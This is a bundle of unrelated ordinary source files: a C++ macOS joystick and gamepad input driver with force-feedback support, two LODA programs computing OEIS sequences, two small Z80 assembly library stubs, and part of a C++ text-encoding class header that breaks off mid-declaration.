void joystick::add_hid_element(IOHIDElementRef p_element) {
const CFTypeID elementTypeID = p_element ? CFGetTypeID(p_element) : 0;
if (p_element && (elementTypeID == IOHIDElementGetTypeID())) {
const IOHIDElementCookie cookie = IOHIDElementGetCookie(p_element);
const uint32_t usagePage = IOHIDElementGetUsagePage(p_element);
const uint32_t usage = IOHIDElementGetUsage(p_element);
Vector<rec_element> *list = NULL;
switch (IOHIDElementGetType(p_element)) {
case kIOHIDElementTypeInput_Misc:
case kIOHIDElementTypeInput_Button:
case kIOHIDElementTypeInput_Axis: {
switch (usagePage) {
case kHIDPage_GenericDesktop:
switch (usage) {
case kHIDUsage_GD_X:
case kHIDUsage_GD_Y:
case kHIDUsage_GD_Z:
case kHIDUsage_GD_Rx:
case kHIDUsage_GD_Ry:
case kHIDUsage_GD_Rz:
case kHIDUsage_GD_Slider:
case kHIDUsage_GD_Dial:
case kHIDUsage_GD_Wheel:
if (!has_element(cookie, &axis_elements)) {
list = &axis_elements;
}
break;
case kHIDUsage_GD_Hatswitch:
if (!has_element(cookie, &hat_elements)) {
list = &hat_elements;
}
break;
case kHIDUsage_GD_DPadUp:
case kHIDUsage_GD_DPadDown:
case kHIDUsage_GD_DPadRight:
case kHIDUsage_GD_DPadLeft:
case kHIDUsage_GD_Start:
case kHIDUsage_GD_Select:
if (!has_element(cookie, &button_elements)) {
list = &button_elements;
}
break;
}
break;
case kHIDPage_Simulation:
switch (usage) {
case kHIDUsage_Sim_Rudder:
case kHIDUsage_Sim_Throttle:
if (!has_element(cookie, &axis_elements)) {
list = &axis_elements;
}
break;
default:
break;
}
break;
case kHIDPage_Button:
case kHIDPage_Consumer:
if (!has_element(cookie, &button_elements)) {
list = &button_elements;
}
break;
default:
break;
}
}
break;
case kIOHIDElementTypeCollection: {
CFArrayRef array = IOHIDElementGetChildren(p_element);
if (array) {
add_hid_elements(array);
}
}
break;
default:
break;
}
if (list) { /* add to list */
rec_element element;
element.ref = p_element;
element.usage = usage;
element.min = (SInt32) IOHIDElementGetLogicalMin(p_element);
element.max = (SInt32) IOHIDElementGetLogicalMax(p_element);
element.cookie = IOHIDElementGetCookie(p_element);
list->push_back(element);
list->sort_custom<rec_element::Comparator>();
}
}
}
static void hid_element_added(const void *p_value, void *p_parameter) {
joystick *joy = (joystick*) p_parameter;
joy->add_hid_element((IOHIDElementRef) p_value);
}
void joystick::add_hid_elements(CFArrayRef p_array) {
CFRange range = { 0, CFArrayGetCount(p_array) };
CFArrayApplyFunction(p_array, range,hid_element_added,this);
}
static void joystick_removed_callback(void *ctx, IOReturn result, void *sender) {
int id = (intptr_t) ctx;
self->_device_removed(id);
}
static void joystick_added_callback(void *ctx, IOReturn res, void *sender, IOHIDDeviceRef ioHIDDeviceObject) {
self->_device_added(res, ioHIDDeviceObject);
}
static bool is_joystick(IOHIDDeviceRef p_device_ref) {
CFTypeRef refCF = NULL;
int usage_page = 0;
int usage = 0;
refCF = IOHIDDeviceGetProperty(p_device_ref, CFSTR(kIOHIDPrimaryUsagePageKey));
if (refCF) {
CFNumberGetValue((CFNumberRef) refCF, kCFNumberSInt32Type, &usage_page);
}
if (usage_page != kHIDPage_GenericDesktop) {
return false;
}
refCF = IOHIDDeviceGetProperty(p_device_ref, CFSTR(kIOHIDPrimaryUsageKey));
if (refCF) {
CFNumberGetValue((CFNumberRef) refCF, kCFNumberSInt32Type, &usage);
}
if ((usage != kHIDUsage_GD_Joystick &&
usage != kHIDUsage_GD_GamePad &&
usage != kHIDUsage_GD_MultiAxisController)) {
return false;
}
return true;
}
void JoystickOSX::_device_added(IOReturn p_res, IOHIDDeviceRef p_device) {
if (p_res != kIOReturnSuccess || have_device(p_device)) {
return;
}
joystick new_joystick;
if (is_joystick(p_device)) {
configure_joystick(p_device, &new_joystick);
#if MAC_OS_X_VERSION_MIN_REQUIRED < 1060
if (IOHIDDeviceGetService != NULL) {
#endif
const io_service_t ioservice = IOHIDDeviceGetService(p_device);
if ((ioservice) && (FFIsForceFeedback(ioservice) == FF_OK) && new_joystick.config_force_feedback(ioservice)) {
new_joystick.ffservice = ioservice;
}
#if MAC_OS_X_VERSION_MIN_REQUIRED < 1060
}
#endif
device_list.push_back(new_joystick);
}
IOHIDDeviceRegisterRemovalCallback(p_device, joystick_removed_callback, (void*) (intptr_t) new_joystick.id);
IOHIDDeviceScheduleWithRunLoop(p_device, CFRunLoopGetCurrent(), GODOT_JOY_LOOP_RUN_MODE);
}
void JoystickOSX::_device_removed(int p_id) {
int device = get_joy_index(p_id);
ERR_FAIL_COND(device == -1);
input->joy_connection_changed(p_id, false, "");
device_list[device].free();
device_list.remove(device);
attached_devices[p_id] = false;
}
static String _hex_str(uint8_t p_byte) {
static const char* dict = "0123456789abcdef";
char ret[3];
ret[2] = 0;
ret[0] = dict[p_byte>>4];
ret[1] = dict[p_byte & 0xF];
return ret;
}
bool JoystickOSX::configure_joystick(IOHIDDeviceRef p_device_ref, joystick* p_joy) {
CFTypeRef refCF = NULL;
p_joy->device_ref = p_device_ref;
/* get device name */
String name;
char c_name[256];
refCF = IOHIDDeviceGetProperty(p_device_ref, CFSTR(kIOHIDProductKey));
if (!refCF) {
refCF = IOHIDDeviceGetProperty(p_device_ref, CFSTR(kIOHIDManufacturerKey));
}
if ((!refCF) || (!CFStringGetCString((CFStringRef) refCF, c_name, sizeof (c_name), kCFStringEncodingUTF8))) {
name = "Unidentified Joystick";
}
name = c_name;
int id = get_free_joy_id();
ERR_FAIL_COND_V(id == -1, false);
p_joy->id = id;
int vendor = 0;
refCF = IOHIDDeviceGetProperty(p_device_ref, CFSTR(kIOHIDVendorIDKey));
if (refCF) {
CFNumberGetValue((CFNumberRef)refCF, kCFNumberSInt32Type, &vendor);
}
int product_id = 0;
refCF = IOHIDDeviceGetProperty(p_device_ref, CFSTR(kIOHIDProductIDKey));
if (refCF) {
CFNumberGetValue((CFNumberRef)refCF, kCFNumberSInt32Type, &product_id);
}
if (vendor && product_id) {
char uid[128];
sprintf(uid, "%04x%08x%04x%08x", OSSwapHostToBigInt32(vendor),0, OSSwapHostToBigInt32(product_id), 0);
input->joy_connection_changed(id, true, name, uid);
}
else {
//bluetooth device
String guid = "05000000";
for (int i = 0; i < 12; i++) {
if (i < name.size()) guid += _hex_str(name[i]);
else guid += "00";
}
input->joy_connection_changed(id, true, name, guid);
}
CFArrayRef array = NULL;
array = IOHIDDeviceCopyMatchingElements(p_device_ref, NULL, kIOHIDOptionsTypeNone);
if (array) {
p_joy->add_hid_elements(array);
CFRelease(array);
}
return true;
}
#define FF_ERR() { if (ret != FF_OK) { FFReleaseDevice(ff_device); return false; } }
bool joystick::config_force_feedback(io_service_t p_service) {
HRESULT ret = FFCreateDevice(p_service, &ff_device);
ERR_FAIL_COND_V(ret != FF_OK, false);
ret = FFDeviceSendForceFeedbackCommand(ff_device, FFSFFC_RESET);
FF_ERR();
ret = FFDeviceSendForceFeedbackCommand(ff_device, FFSFFC_SETACTUATORSON);
FF_ERR();
if (check_ff_features()) {
ret = FFDeviceCreateEffect(ff_device, kFFEffectType_ConstantForce_ID, &ff_effect, &ff_object);
FF_ERR();
return true;
}
FFReleaseDevice(ff_device);
return false;
}
#undef FF_ERR
#define TEST_FF(ff) (features.supportedEffects & (ff))
bool joystick::check_ff_features() {
FFCAPABILITIES features;
HRESULT ret = FFDeviceGetForceFeedbackCapabilities(ff_device, &features);
if (ret == FF_OK && (features.supportedEffects & FFCAP_ET_CONSTANTFORCE)) {
uint32_t val;
ret = FFDeviceGetForceFeedbackProperty(ff_device, FFPROP_FFGAIN, &val, sizeof(val));
if (ret != FF_OK) return false;
int num_axes = features.numFfAxes;
ff_axes = (DWORD*) memalloc(sizeof(DWORD) * num_axes);
ff_directions = (LONG*) memalloc(sizeof(LONG) * num_axes);
for (int i = 0; i < num_axes; i++) {
ff_axes[i] = features.ffAxes[i];
ff_directions[i] = 0;
}
ff_effect.cAxes = num_axes;
ff_effect.rgdwAxes = ff_axes;
ff_effect.rglDirection = ff_directions;
return true;
}
return false;
}
static int process_hat_value(int p_min, int p_max, int p_value) {
int range = (p_max - p_min + 1);
int value = p_value - p_min;
int hat_value = InputDefault::HAT_MASK_CENTER;
if (range == 4) {
value *= 2;
}
switch (value) {
case 0:
hat_value = InputDefault::HAT_MASK_UP;
break;
case 1:
hat_value = InputDefault::HAT_MASK_UP | InputDefault::HAT_MASK_RIGHT;
break;
case 2:
hat_value = InputDefault::HAT_MASK_RIGHT;
break;
case 3:
hat_value = InputDefault::HAT_MASK_DOWN | InputDefault::HAT_MASK_RIGHT;
break;
case 4:
hat_value = InputDefault::HAT_MASK_DOWN;
break;
case 5:
hat_value = InputDefault::HAT_MASK_DOWN | InputDefault::HAT_MASK_LEFT;
break;
case 6:
hat_value = InputDefault::HAT_MASK_LEFT;
break;
case 7:
hat_value = InputDefault::HAT_MASK_UP | InputDefault::HAT_MASK_LEFT;
break;
default:
hat_value = InputDefault::HAT_MASK_CENTER;
break;
}
return hat_value;
}
void JoystickOSX::poll_joysticks() const {
while (CFRunLoopRunInMode(GODOT_JOY_LOOP_RUN_MODE,0,TRUE) == kCFRunLoopRunHandledSource) {
/* no-op. Pending callbacks will fire. */
}
}
static const InputDefault::JoyAxis axis_correct(int p_value, int p_min, int p_max) {
InputDefault::JoyAxis jx;
if (p_min < 0) {
jx.min = -1;
if (p_value < 0) {
jx.value = (float) -p_value / p_min;
}
else jx.value = (float) p_value / p_max;
}
if (p_min == 0) {
jx.min = 0;
jx.value = 0.0f + (float) p_value / p_max;
}
return jx;
}
uint32_t JoystickOSX::process_joysticks(uint32_t p_last_id){
poll_joysticks();
for (int i = 0; i < device_list.size(); i++) {
joystick &joy = device_list[i];
for (int j = 0; j < joy.axis_elements.size(); j++) {
rec_element &elem = joy.axis_elements[j];
int value = joy.get_hid_element_state(&elem);
p_last_id = input->joy_axis(p_last_id, joy.id, j, axis_correct(value, elem.min, elem.max));
}
for (int j = 0; j < joy.button_elements.size(); j++) {
int value = joy.get_hid_element_state(&joy.button_elements[j]);
p_last_id = input->joy_button(p_last_id, joy.id, j, (value>=1));
}
for (int j = 0; j < joy.hat_elements.size(); j++) {
rec_element &elem = joy.hat_elements[j];
int value = joy.get_hid_element_state(&elem);
int hat_value = process_hat_value(elem.min, elem.max, value);
p_last_id = input->joy_hat(p_last_id, joy.id, hat_value);
}
if (joy.ffservice) {
uint64_t timestamp = input->get_joy_vibration_timestamp(joy.id);
if (timestamp > joy.ff_timestamp) {
Vector2 strength = input->get_joy_vibration_strength(joy.id);
float duration = input->get_joy_vibration_duration(joy.id);
if (strength.x == 0 && strength.y == 0) {
joystick_vibration_stop(joy.id, timestamp);
}
else {
float gain = MAX(strength.x, strength.y);
joystick_vibration_start(joy.id, gain, duration, timestamp);
}
}
}
}
return p_last_id;
}
void JoystickOSX::joystick_vibration_start(int p_id, float p_magnitude, float p_duration, uint64_t p_timestamp) {
joystick *joy = &device_list[get_joy_index(p_id)];
joy->ff_timestamp = p_timestamp;
joy->ff_effect.dwDuration = p_duration * FF_SECONDS;
joy->ff_effect.dwGain = p_magnitude * FF_FFNOMINALMAX;
FFEffectSetParameters(joy->ff_object, &joy->ff_effect, FFEP_DURATION | FFEP_GAIN);
FFEffectStart(joy->ff_object, 1, 0);
}
void JoystickOSX::joystick_vibration_stop(int p_id, uint64_t p_timestamp) {
joystick* joy = &device_list[get_joy_index(p_id)];
joy->ff_timestamp = p_timestamp;
FFEffectStop(joy->ff_object);
}
int JoystickOSX::get_free_joy_id() {
for (int i = 0; i < JOYSTICKS_MAX; i++) {
if (!attached_devices[i]) {
attached_devices[i] = true;
return i;
}
}
return -1;
}
int JoystickOSX::get_joy_index(int p_id) const {
for (int i = 0; i < device_list.size(); i++) {
if (device_list[i].id == p_id) return i;
}
return -1;
}
bool JoystickOSX::have_device(IOHIDDeviceRef p_device) const {
for (int i = 0; i < device_list.size(); i++) {
if (device_list[i].device_ref == p_device) {
return true;
}
}
return false;
}
static CFDictionaryRef create_match_dictionary(const UInt32 page, const UInt32 usage, int *okay)
{
CFDictionaryRef retval = NULL;
CFNumberRef pageNumRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &page);
CFNumberRef usageNumRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &usage);
const void *keys[2] = { (void *) CFSTR(kIOHIDDeviceUsagePageKey), (void *) CFSTR(kIOHIDDeviceUsageKey) };
const void *vals[2] = { (void *) pageNumRef, (void *) usageNumRef };
if (pageNumRef && usageNumRef) {
retval = CFDictionaryCreate(kCFAllocatorDefault, keys, vals, 2, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
}
if (pageNumRef) {
CFRelease(pageNumRef);
}
if (usageNumRef) {
CFRelease(usageNumRef);
}
if (!retval) {
*okay = 0;
}
return retval;
}
void JoystickOSX::config_hid_manager(CFArrayRef p_matching_array) const {
CFRunLoopRef runloop = CFRunLoopGetCurrent();
IOReturn ret = IOHIDManagerOpen(hid_manager, kIOHIDOptionsTypeNone);
ERR_FAIL_COND(ret != kIOReturnSuccess);
IOHIDManagerSetDeviceMatchingMultiple(hid_manager, p_matching_array);
IOHIDManagerRegisterDeviceMatchingCallback(hid_manager, joystick_added_callback, NULL);
IOHIDManagerScheduleWithRunLoop(hid_manager, runloop, GODOT_JOY_LOOP_RUN_MODE);
while (CFRunLoopRunInMode(GODOT_JOY_LOOP_RUN_MODE,0,TRUE) == kCFRunLoopRunHandledSource) {
/* no-op. Callback fires once per existing device. */
}
}
JoystickOSX::JoystickOSX()
{
self = this;
input = (InputDefault*)Input::get_singleton();
for (int i = 0; i < JOYSTICKS_MAX; i++) {
attached_devices[i] = false;
}
int okay = 1;
const void *vals[] = {
(void *) create_match_dictionary(kHIDPage_GenericDesktop, kHIDUsage_GD_Joystick, &okay),
(void *) create_match_dictionary(kHIDPage_GenericDesktop, kHIDUsage_GD_GamePad, &okay),
(void *) create_match_dictionary(kHIDPage_GenericDesktop, kHIDUsage_GD_MultiAxisController, &okay),
};
const size_t n_elements = sizeof(vals)/sizeof(vals[0]);
CFArrayRef array = okay ? CFArrayCreate(kCFAllocatorDefault, vals, n_elements, &kCFTypeArrayCallBacks) : NULL;
for (int i = 0; i < n_elements; i++) {
if (vals[i]) {
CFRelease((CFTypeRef) vals[i]);
}
}
if (array) {
hid_manager = IOHIDManagerCreate(kCFAllocatorDefault, kIOHIDOptionsTypeNone);
if (hid_manager != NULL) {
config_hid_manager(array);
}
CFRelease(array);
}
}
JoystickOSX::~JoystickOSX() {
for (int i = 0; i < device_list.size(); i++) {
device_list[i].free();
}
IOHIDManagerUnscheduleFromRunLoop(hid_manager, CFRunLoopGetCurrent(), GODOT_JOY_LOOP_RUN_MODE);
IOHIDManagerClose(hid_manager, kIOHIDOptionsTypeNone);
CFRelease(hid_manager);
hid_manager = NULL;
}
|
; A098219: a(n) = floor(sigma(sigma(n))/n) = floor(A051027(n)/n).
; Submitted by Jamie Morken(s4)
; 1,2,2,2,2,4,2,3,1,3,2,4,1,4,4,2,2,3,2,4,3,4,2,7,1,3,3,4,2,6,2,3,3,3,3,3,1,4,3,5,2,6,1,5,3,4,2,4,1,2,3,3,2,6,3,6,3,4,2,8,1,4,3,2,3,6,1,4,3,5,2,4,1,3,2,4,3,6,2,4,1,3,2,6,3,3,4,6,2,6,2,5,2,4,3,7,1,2,3,2
mov $2,1
add $2,$0
seq $0,51027 ; a(n) = sigma(sigma(n)) = sum of the divisors of the sum of the divisors of n.
div $0,$2
|
; A098391: Log2(Log2(prime(n))), where Log2=A000523.
; 0,0,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3
div $0,2
mul $0,27
add $0,1
log $0,9
mov $1,$0
|
SECTION code_fp_math32
PUBLIC log_fastcall
EXTERN _m32_logf
defc log_fastcall = _m32_logf
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _log_fastcall
defc _log_fastcall = log_fastcall
ENDIF
|
; void wv_stack_destroy(wv_stack_t *s)
SECTION code_adt_wv_stack
PUBLIC wv_stack_destroy
defc wv_stack_destroy = asm_wv_stack_destroy
INCLUDE "adt/wv_stack/z80/asm_wv_stack_destroy.asm"
|
/// @file
/// @brief Contains Switch::System::Text::Encoding class.
#pragma once
#include "../../Types.hpp"
#include "../../Abstract.hpp"
#include "../../RefPtr.hpp"
#include "../Array.hpp"
#include "../Object.hpp"
#include "../String.hpp"
#include "../Collections/Generic/Dictionary.hpp"
/// @brief The Switch namespace contains all fundamental classes to access Hardware, Os, System, and more.
namespace Switch {
/// @brief The System namespace contains fundamental classes and base classes that define commonly-used value and reference data types, events and event handlers, interfaces, attributes, and processing exceptions.
namespace System {
/// @brief The System::Text namespace contains classes that represent ASCII and Unicode character encodings; abstract base classes for converting blocks of characters to and from blocks of bytes; and a helper class that manipulates and formats String objects without creating intermediate instances of String.
namespace Text {
/// @brief Represents a character encoding
class core_export_ Encoding abstract_ {
public:
static char Unknown() { return '?'; }
/// @brief Creates an encoding for the ASCII (7-bit) character set.
/// @return An encoding for the ASCII (7-bit) character set.
static const refptr<Encoding> ASCII;
/// @brief Creates an encoding for the UTF-8 format.
/// @return An encoding for the UTF-8 format.
static const refptr<Encoding> UTF8;
/// @brief Creates an encoding for the UTF-16 format using the little endian byte order.
/// @return An encoding for the UTF-16 format using the little endian byte order.
static const refptr<Encoding> Unicode;
/// @brief Creates an encoding for the UTF-16 format that uses the big endian byte order.
/// @return An encoding object for the UTF-16 format that uses the big endian byte order.
static const refptr<Encoding> BigEndianUnicode;
/// @brief Creates an encoding for the UTF-16 format using the little endian byte order.
/// @return An encoding for the UTF-16 format using the little endian byte order.
static const refptr<Encoding> UTF16LE;
/// @brief Creates an encoding for the UTF-16 format that uses the big endian byte order.
/// @return An encoding object for the UTF-16 format that uses the big endian byte order.
static const refptr<Encoding> UTF16BE;
/// @brief Creates an encoding for the UTF-32 format using the little endian byte order.
/// @return An encoding object for the UTF-32 format using the little endian byte order.
static const refptr<Encoding> UTF32;
/// @brief Gets an encoding for the operating system's current ANSI code page.
/// @return An encoding for the operating system's current ANSI code page (currently 437).
static const refptr<Encoding> Default;
/// @brief Returns the encoding associated with the specified code page name.
/// @param name The code page name of the preferred encoding. Possible values are listed in the Name column of the table that appears in the System::Text::Encoding class topic.
/// @return The encoding associated with the specified code page.
/// @exception System::ArgumentException name is not a valid code page name. or The code page indicated by name is not supported by the underlying platform.
static refptr<Encoding> CreateEncoding(int32 codePage);
/// @brief Returns the encoding associated with the specified code page name.
/// @param name The code page name of the preferred encoding. Possible values are listed in the Name column of the table that appears in the System::Text::Encoding class topic.
/// @return The encoding associated with the specified code page.
/// @exception System::ArgumentException name is not a valid code page name. or The code page indicated by name is not supported by the underlying platform.
static refptr<Encoding> CreateEncoding(const String& codePageName);
/// @brief When overridden in a derived class, gets the code page identifier of the current System::Text::Encoding.
/// @return The code page identifier of the current System::Text::Encoding.
virtual int32 GetCodePage() const;
/// @brief When overridden in a derived class, gets the human-readable description of the current encoding.
/// @return The human-readable description of the current System::Text::Encoding.
virtual String GetEncodingName() const;
/// @brief When overridden in a derived class, gets a value indicating whether the current encoding is read-only.
/// @return true if the current System::Text::Encoding is read-only; otherwise, false.
/// The default is true.
bool IsReadOnly() const { return true; }
/// @brief When overridden in a derived class, gets a value indicating whether the current encoding uses single-byte code points.
/// @return true if the current System::Text::Encoding uses single-byte code points; otherwise,
/// false.
virtual bool IsSingleByte() const = 0;
/// @brief Converts an entire byte array from one encoding to another.
/// @param srcEncoding The encoding format of bytes.
/// @param dstEncoding The target encoding format.
/// @param bytes The bytes to convert.
/// @return An array of type System::Byte containing the results of converting bytes from srcEncoding to dstEncoding.
/// @exception System::ArgumentNullException srcEncoding is null. -or- dstEncoding is null. -or- bytes is null.
static Array<byte> Convert(const Encoding& srcEncoding, const Encoding& dstEncoding, const byte bytes[], int32 bytesSize);
/// @brief Converts a range of bytes in a byte array from one encoding to another.
/// @param srcEncoding The encoding of the source array, bytes.
/// @param dstEncoding The encoding of the output array.
/// @param bytes The array of bytes to convert.
/// @param index The index of the first element of bytes to convert.
/// @param count The number of bytes to convert.
/// @return An array of type System::Byte containing the result of converting a range of bytes in bytes from srcEncoding to dstEncoding.
/// @exception System::ArgumentNullException srcEncoding is null. -or- dstEncoding is null. -or- bytes is null.
/// @exception System::ArgumentOutOfRangeException index and count do not specify a valid range in the byte array.
static Array<byte> Convert(const Encoding& srcEncoding, const Encoding& dstEncoding, const byte bytes[], int32 bytesSize, int32 index, int32 count);
/// @brief Determines whether the specified System::Object is equal to the current instance.
/// @param value The System::Object to compare with the current instance.
/// @return true if value is an instance of System::Text::Encoding and is equal to the current instance; otherwise, false.
bool Equals(const object& obj) const override;
/// @brief When overridden in a derived class, calculates the number of bytes produced
/// by encoding all the characters in the specified character array.
/// @param chars The character array containing the characters to encode.
/// @return The number of bytes produced by encoding all the characters in the specified character array.
/// @exception System::ArgumentNullException chars is null.
int32 GetByteCount(const char32 chars[], int32 charsSize) const;
/// @brief When overridden in a derived class, calculates the number of bytes produced by encoding a set of characters from the specified character array.
/// @param chars The character array containing the set of characters to encode.
/// @param index The index of the first character to encode.
/// @param count The number of characters to encode.
/// @return The number of bytes produced by encoding the specified characters.
/// @exception System::ArgumentNullException chars is null.
int32 GetByteCount(const char32 chars[], int32 charsSize, int32 index, int32 count) const;
/// @brief When overridden in a derived class, calculates the number of bytes produced by encoding the characters in the specified String.
/// @param s The String containing the set of characters to encode.
/// @return The number of bytes produced by encoding the specified characters.
/// @exception System::ArgumentNullException s is null.
int32 GetByteCount(const String& s) const;
/// @brief When overridden in a derived class, calculates the number of bytes produced
/// by encoding the character in the specified String.
/// @param c The character to encode.
/// @return The number of bytes produced by encoding the specified character.
/// @exception System::ArgumentNullException s is null.
virtual int32 GetByteCount(char32 c) const = 0;
/// @brief When overridden in a derived class, encodes a character into a sequence of bytes.
/// @param c The character to encode.
/// @param index The index of the first character to encode.
/// @param count The number of characters to encode.
/// @return A byte array containing the results of encoding the specified character.
/// @exception System::ArgumentNullException bytes is null.
/// @exception System::ArgumentOutOfRangeException byteIndex is less than zero. -or- byteIndex is not a valid index in bytes.
/// @exception System::ArgumentException bytes does not have enough capacity from byteIndex to the end of the array to accommodate the resulting bytes.
virtual int32 GetBytes(char32 c, byte bytes[], int32 bytesSize, int32 byteIndex) const = 0;
/// @brief When overridden in a derived class, encodes all the characters in the specified String into a sequence of bytes.
/// @param s The String containing the characters to encode.
/// @return A byte array containing the results of encoding the specified set of characters.
/// @exception System::ArgumentNullException s is null.
int32 GetBytes(const String& s, byte bytes[], int32 bytesSize) const;
Array<byte> GetBytes(const String& s) const;
/// @brief When overridden in a derived class, encodes all the characters in the specified character array into a sequence of bytes.
/// @param chars The character array containing the characters to encode.
/// @return A byte array containing the results of encoding the specified set of characters.
/// @exception System::ArgumentNullException chars is null.
int32 GetBytes(const char32 chars[], int32 charsSize, byte bytes[], int32 bytesSize) const;
Array<byte> GetBytes(const char32 chars[], int32 charsSize) const;
/// @brief When overridden in a derived class, encodes a set of characters from the specified character array into a sequence of bytes.
/// @param chars The character array containing the set of characters to encode.
/// @param index The index of the first character to encode.
/// @param count The number of characters to encode.
/// @return A byte array containing the results of encoding the specified set of characters.
/// @exception System::ArgumentNullException chars is null.
/// @exception System::ArgumentOutOfRangeException index or count is less than zero. or index and count do not denote a valid range in chars.
int32 GetBytes(const char32 chars[], int32 charsSize, int32 index, int32 count, byte bytes[], int32 bytesSize) const;
Array<byte> GetBytes(const char32 chars[], int32 charsSize, int32 index, int32 count) const;
/// @brief When overridden in a derived class, encodes a set of characters from the specified character array into the specified byte array.
/// @param chars The character array containing the set of characters to encode.
/// @param charIndex The index of the first character to encode.
/// @param charCount The number of characters to encode.
/// @param bytes The byte array to contain the resulting sequence of bytes.
/// @param byteIndex The index at which to start writing the resulting sequence of bytes.
/// @return The actual number of bytes written into bytes.
/// @exception System::ArgumentNullException chars is null. or bytes is null.
/// @exception System::ArgumentOutOfRangeException charIndex or charCount or byteIndex is less than zero. or charIndex and charCount do not denote a valid range in chars. or byteIndex is not a valid index in bytes.
/// @exception System::ArgumentException bytes does not have enough capacity from byteIndex to the end of the array to accommodate the resulting bytes.
int32 GetBytes(const char32 chars[], int32 charsSize, int32 charIndex, int32 charCount, byte bytes[], int32 bytesSize, int32 byteIndex) const;
/// @brief When overridden in a derived class, encodes a set of characters from the specified String into the specified byte array.
/// @param s The String containing the set of characters to encode.
/// @param charIndex The index of the first character to encode.
/// @param charCount The number of characters to encode.
/// @param bytes The byte array to contain the resulting sequence of bytes.
/// @param byteIndex The index at which to start writing the resulting sequence of bytes.
/// @return The actual number of bytes written into bytes.
/// @exception System::ArgumentNullException s is null. -or- bytes is null.
/// @exception System::ArgumentOutOfRangeException charIndex or charCount or byteIndex is less than zero. -or- charIndex and charCount do not denote a valid range in chars. -or- byteIndex is not a valid index in bytes.
/// @exception System::ArgumentException bytes does not have enough capacity from byteIndex to the end of the array to accommodate the resulting bytes.
int32 GetBytes(const String& s, int32 charIndex, int32 charCount, byte bytes[], int32 bytesLength, int32 byteIndex) const;
Array<byte> GetBytes(const String& s, int32 index, int32 count) const;
/// @brief When overridden in a derived class, calculates the number of characters produced by decoding all the bytes in the specified byte array.
/// @param bytes The byte array containing the sequence of bytes to decode.
/// @return The number of characters produced by decoding the specified sequence of bytes.
/// @exception System::ArgumentNullException bytes is null.
int32 GetCharCount(const byte bytes[], int32 bytesSize) const;
/// @brief When overridden in a derived class, calculates the number of characters produced by decoding a sequence of bytes from the specified byte array.
/// @param bytes The byte array containing the sequence of bytes to decode.
/// @param index The index of the first byte to decode.
/// @param count The number of bytes to decode.
/// @return The number of characters produced by decoding the specified sequence of bytes.
/// @exception System::ArgumentNullException bytes is null.
/// @exception System::ArgumentOutOfRangeException index or count is less than zero. -or- index and count do not denote a valid range in bytes.
virtual int32 GetCharCount(const byte bytes[], int32 bytesSize, int32 index, int32 count) const = 0;
/// @brief When overridden in a derived class, decodes all the bytes in the specified byte array into a set of characters.
/// @param bytes The byte array containing the sequence of bytes to decode.
/// @return A character array containing the results of decoding the specified sequence of bytes.
/// @exception System::ArgumentNullException bytes is null.
Array<char32> GetChars(const byte bytes[], int32 bytesSize) const;
int32 GetChars(const byte bytes[], int32 bytesSize, char32 chars[], int32 charsSize) const;
/// @brief When overridden in a derived class, decodes a sequence of bytes from the specified byte array into a set of characters.
/// @param bytes The byte array containing the sequence of bytes to decode.
/// @param index The index of the first byte to decode.
/// @param count The number of bytes to decode.
/// @return A character array containing the results of decoding the specified sequence of bytes.
/// @exception System::ArgumentNullException bytes is null.
/// @exception System::ArgumentOutOfRangeException index or count is less than zero. -or- index and count do not denote a valid range in bytes.
int32 GetChars(const byte bytes[], int32 bytesSize, int32 index, int32 count, char32 chars[], int32 charsSize) const;
Array<char32> GetChars(const byte bytes[], int32 bytesSize, int32 index, int32 count) const;
/// @brief When overridden in a derived class, decodes a sequence of bytes starting at the specified byte pointer into a set of characters that are stored starting at the specified character pointer.
/// @param bytes A pointer to the first byte to decode.
/// @param byteCount The number of bytes to decode.
/// @param chars A pointer to the location at which to start writing the resulting set of characters.
/// @param charCount The maximum number of characters to write.
/// @return The actual number of characters written at the location indicated by the chars parameter.
/// @exception System::ArgumentNullException bytes is null. or chars is null.
/// @exception System::ArgumentOutOfRangeException byteCount or charCount is less than zero.
/// @exception System::ArgumentException charCount is less than the resulting number of characters.
int32 GetChars(const byte bytes[], int32 bytesLength, int32 byteIndex, int32 byteCount, char32 chars[], int32 charsLength, int32 charIndex) const;
/// @brief When overridden in a derived class, calculates the maximum number of bytes produced by encoding the specified number of characters.
/// @param charCount The number of characters to encode.
/// @return The maximum number of bytes produced by encoding the specified number of characters.
/// @exception System::ArgumentOutOfRangeException charCount is less than zero.
virtual int32 GetMaxByteCount(int32 charCount) const = 0;
/// @brief When overridden in a derived class, calculates the maximum number of characters produced by decoding the specified number of bytes.
/// @param byteCount The number of bytes to decode.
/// @return The maximum number of characters produced by decoding the specified number of bytes.
/// @exception System::ArgumentOutOfRangeException byteCount is less than zero.
virtual int32 GetMaxCharCount(int32 byteCount) const = 0;
/// @brief When overridden in a derived class, returns a sequence of bytes that specifies the encoding used.
/// @return A byte array containing a sequence of bytes that specifies the encoding used. -or- A byte array of length zero, if a preamble is not required.
virtual Array<byte> GetPreamble() const;
/// @brief When overridden in a derived class, decodes all the bytes in the specified byte array into a String.
/// @param bytes The byte array containing the sequence of bytes to decode.
/// @return A String that contains the results of decoding the specified sequence of bytes.
/// @exception System::ArgumentException The byte array contains invalid Unicode code points.
/// @exception System::ArgumentNullException bytes is null.
String GetString(const Array<byte>& bytes) const;
/// @brief When overridden in a derived class, decodes all the bytes in the specified byte array into a String.
/// @param bytes The byte array containing the sequence of bytes to decode.
/// @return A String that contains the results of decoding the specified sequence of bytes.
/// @exception System::ArgumentException The byte array contains invalid Unicode code points.
/// @exception System::ArgumentNullException bytes is null.
String GetString(const byte bytes[], int32 bytesSize) const;
/// @brief When overridden in a derived class, decodes a sequence of bytes from the specified byte array into a String.
/// @param bytes The byte array containing the sequence of bytes to decode.
/// @param index The index of the first byte to decode.
/// @param count The number of bytes to decode.
/// @return A String that contains the results of decoding the specified sequence of bytes.
/// @exception System::ArgumentException The byte array contains invalid Unicode code points.
